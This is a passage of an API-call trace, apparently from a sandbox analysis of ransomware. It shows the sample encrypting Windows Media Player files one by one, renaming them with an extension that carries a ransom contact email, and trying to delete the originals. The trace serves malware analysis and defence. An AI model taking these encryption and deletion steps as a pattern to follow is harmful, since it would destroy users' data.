lpLocalFileTime=0x9bb4f0) returned 1 [0230.215] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.215] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.215] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.216] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.216] GetFileType (hFile=0x39c) returned 0x1 [0230.216] GetFileType (hFile=0x39c) returned 0x1 [0230.216] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.216] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.216] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.216] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.217] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.217] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.221] CloseHandle (hObject=0x39c) returned 1 [0230.221] CloseHandle (hObject=0x334) returned 1 [0230.221] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml")) returned 0 [0230.222] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg", lpFilePart=0x9bada4*="DMR_120.jpg") returned 0x46 [0230.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0230.222] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0xba3)) returned 1 [0230.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674d2c | out: pbBuffer=0x3674d2c) returned 1 [0230.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0230.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0230.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0230.223] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.223] GetFileType (hFile=0x334) returned 0x1 [0230.223] GetFileType (hFile=0x334) returned 0x1 [0230.223] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.223] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.223] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.224] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.224] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.224] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.224] GetFileType (hFile=0x39c) returned 0x1 [0230.225] GetFileType (hFile=0x39c) returned 0x1 [0230.225] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.225] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.225] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.225] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.225] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.225] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.225] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.228] CloseHandle (hObject=0x39c) returned 1 [0230.228] CloseHandle (hObject=0x334) returned 1 [0230.228] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.jpg")) returned 0 [0230.229] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png", lpFilePart=0x9bada4*="DMR_120.png") returned 0x46 [0230.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0230.229] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x3a1c)) returned 1 [0230.229] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367414c | out: pbBuffer=0x367414c) returned 1 [0230.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0230.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0230.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0230.230] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.230] GetFileType (hFile=0x334) returned 0x1 [0230.230] GetFileType (hFile=0x334) returned 0x1 [0230.230] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.230] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.230] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.230] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.230] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.231] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.231] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.231] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.232] GetFileType (hFile=0x39c) returned 0x1 [0230.232] GetFileType (hFile=0x39c) returned 0x1 [0230.232] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.235] CloseHandle (hObject=0x39c) returned 1 [0230.235] CloseHandle (hObject=0x334) returned 1 [0230.235] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_120.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_120.png")) returned 0 [0230.236] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg", lpFilePart=0x9bada4*="DMR_48.jpg") returned 0x45 [0230.236] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x4c4)) returned 1 [0230.236] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36740d4 | out: pbBuffer=0x36740d4) returned 1 [0230.237] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.237] GetFileType (hFile=0x334) returned 0x1 [0230.237] GetFileType (hFile=0x334) returned 0x1 [0230.237] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.237] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.237] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.237] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.237] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.238] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.238] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.238] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.238] GetFileType (hFile=0x39c) returned 0x1 [0230.238] GetFileType (hFile=0x39c) returned 0x1 [0230.238] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.238] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.239] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.239] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.239] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.239] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.239] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.241] CloseHandle (hObject=0x39c) returned 1 [0230.241] CloseHandle (hObject=0x334) returned 1 [0230.242] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.jpg" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.jpg")) returned 0 [0230.242] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png", lpFilePart=0x9bada4*="DMR_48.png") returned 0x45 [0230.242] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x10a9)) returned 1 [0230.242] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674d04 | out: pbBuffer=0x3674d04) returned 1 [0230.242] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0230.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0230.243] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0230.243] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0230.243] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.243] GetFileType (hFile=0x334) returned 0x1 [0230.243] GetFileType (hFile=0x334) returned 0x1 [0230.243] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.243] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.244] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.244] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.244] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.244] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.244] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.244] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.244] GetFileType (hFile=0x39c) returned 0x1 [0230.245] GetFileType (hFile=0x39c) returned 0x1 [0230.245] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.245] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.245] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.245] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.245] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.247] CloseHandle (hObject=0x39c) returned 1 [0230.248] CloseHandle (hObject=0x334) returned 1 [0230.248] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\DMR_48.png" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\dmr_48.png")) returned 0 [0230.248] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml", lpFilePart=0x9bada4*="RenderingControl.xml") returned 0x4f [0230.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0230.248] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0230.248] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0230.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0230.249] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa435feea, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe7ed8800, ftLastWriteTime.dwHighDateTime=0x1d283c7, nFileSizeHigh=0x0, nFileSizeLow=0x18db)) returned 1 [0230.249] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674944 | out: pbBuffer=0x3674944) returned 1 [0230.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0230.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0230.249] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0230.249] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea8c8 [0230.250] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0230.250] GetFileType (hFile=0x334) returned 0x1 [0230.250] GetFileType (hFile=0x334) returned 0x1 [0230.250] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.250] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.250] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.251] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.251] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.251] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.251] CreateFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0230.251] GetFileType (hFile=0x39c) returned 0x1 [0230.251] GetFileType (hFile=0x39c) returned 0x1 [0230.252] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0230.252] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.252] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.252] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.252] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.252] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0230.252] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0230.255] CloseHandle (hObject=0x39c) returned 1 [0230.255] CloseHandle (hObject=0x334) returned 1 [0230.255] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol.xml")) returned 0 [0230.256] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml", lpFilePart=0x9bada4*="RenderingControl_DMP.xml") returned 0x53 [0230.256] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0230.256] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\renderingcontrol_dmp.xml"), 